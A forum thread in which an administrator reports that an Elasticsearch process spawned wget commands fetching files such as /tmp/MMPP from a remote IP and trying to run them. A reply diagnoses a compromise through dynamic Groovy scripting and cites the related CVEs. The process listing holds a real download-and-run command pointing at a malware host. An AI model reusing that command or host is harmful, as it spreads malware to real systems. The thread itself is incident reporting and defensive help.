Weird wget process spawned by elasticsearch

I recently replicated our elasticsearch server and noticed a weird process after starting elasticsearch.
110 is the UID for elasticsearch user

110 6772 0.0 0.0 24612 1848 ? S 20:19 0:00 wget -O /tmp/MMPP http://222.186.21.166:1857/MMPP

Whois info for the IP:

whois 222.186.21.166
% [whois.apnic.net]
% Whois data copyright terms APNIC Whois Database Acceptable Use Agreement – APNIC

% Information related to '222.184.0.0 - 222.191.255.255'

inetnum: 222.184.0.0 - 222.191.255.255
netname: CHINANET-JS
descr: CHINANET jiangsu province network
descr: China Telecom
descr: A12,Xin-Jie-Kou-Wai Street
descr: Beijing 100088
country: CN
admin-c: CH93-AP
tech-c: CJ186-AP
mnt-by: APNIC-HM
mnt-lower: MAINT-CHINANET-JS
mnt-routes: MAINT-CHINANET-JS
remarks: This object can only modify by APNIC hostmaster
remarks: If you wish to modify this object details please
remarks: send email to hostmaster@apnic.net with your
remarks: organisation account name in the subject line.
status: ALLOCATED PORTABLE
source: APNIC
mnt-irt: IRT-CHINANET-CN
changed: hm-changed@apnic.net 20040223

Several of these commands were run, downloading a small handful of files. When I killed the following java process being run by elasticsearch the wgets stopped.

110 12841 2.8 14.1 9903064 546236 ? Sl 09:38 9:32 /usr/lib/jvm/java-7-openjdk-amd64//bin/java -Xms256m -Xmx1g -Xss256k -Djava.awt.headless=true -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly

I noticed this in the elasticsearch log as well

[2015-11-04 20:21:11,377][DEBUG][action.search.type ] [Big Wheel] [402] Failed to execute fetch phase
org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/MMPP": error=26, Text file busy]; nested: IOException[error=26, Text file busy];
at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:257)
at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:460)
at org.elasticsearch.search.action.SearchServiceTransportAction$17.call(SearchServiceTransportAction.java:410)
at org.elasticsearch.search.action.SearchServiceTransportAction$17.call(SearchServiceTransportAction.java:407)
at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:517)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at java.lang.Thread.run(Thread.java:744)
[2015-11-04 20:25:53,435][DEBUG][action.search.type ] [Big Wheel] [737] Failed to execute fetch phase
org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/NALIn": error=26, Text file busy]; nested: IOException[error=26, Text file busy];
at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:257)
at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:460)
at org.elasticsearch.search.action.SearchServiceTransportAction$17.call(SearchServiceTransportAction.java:410)
at org.elasticsearch.search.action.SearchServiceTransportAction$17.call(SearchServiceTransportAction.java:407)
at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:517)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at java.lang.Thread.run(Thread.java:744)

Why would elasticsearch be downloading files from a Chinese server and trying to run them? Is this normal behavior? What is the purpose?

It appears your server has been compromised by attackers. You should quarantine it and investigate further. :worried:

This can happen when Elasticsearch is exposed to public internet with dynamic scripting enabled. Attackers can use the dynamic, inline scripting to run remote execution exploits. Dynamic scripting was disabled by default starting around version 1.2, and Groovy sandboxing disabled around 1.3-1.4

You can read about Groovy security, disabling dynamic scripting, etc:

The particular CVE that relates to this attack is CVE-2014-6439 and CVE-2015-1427

2 Likes

Thank you for the quick and helpful response.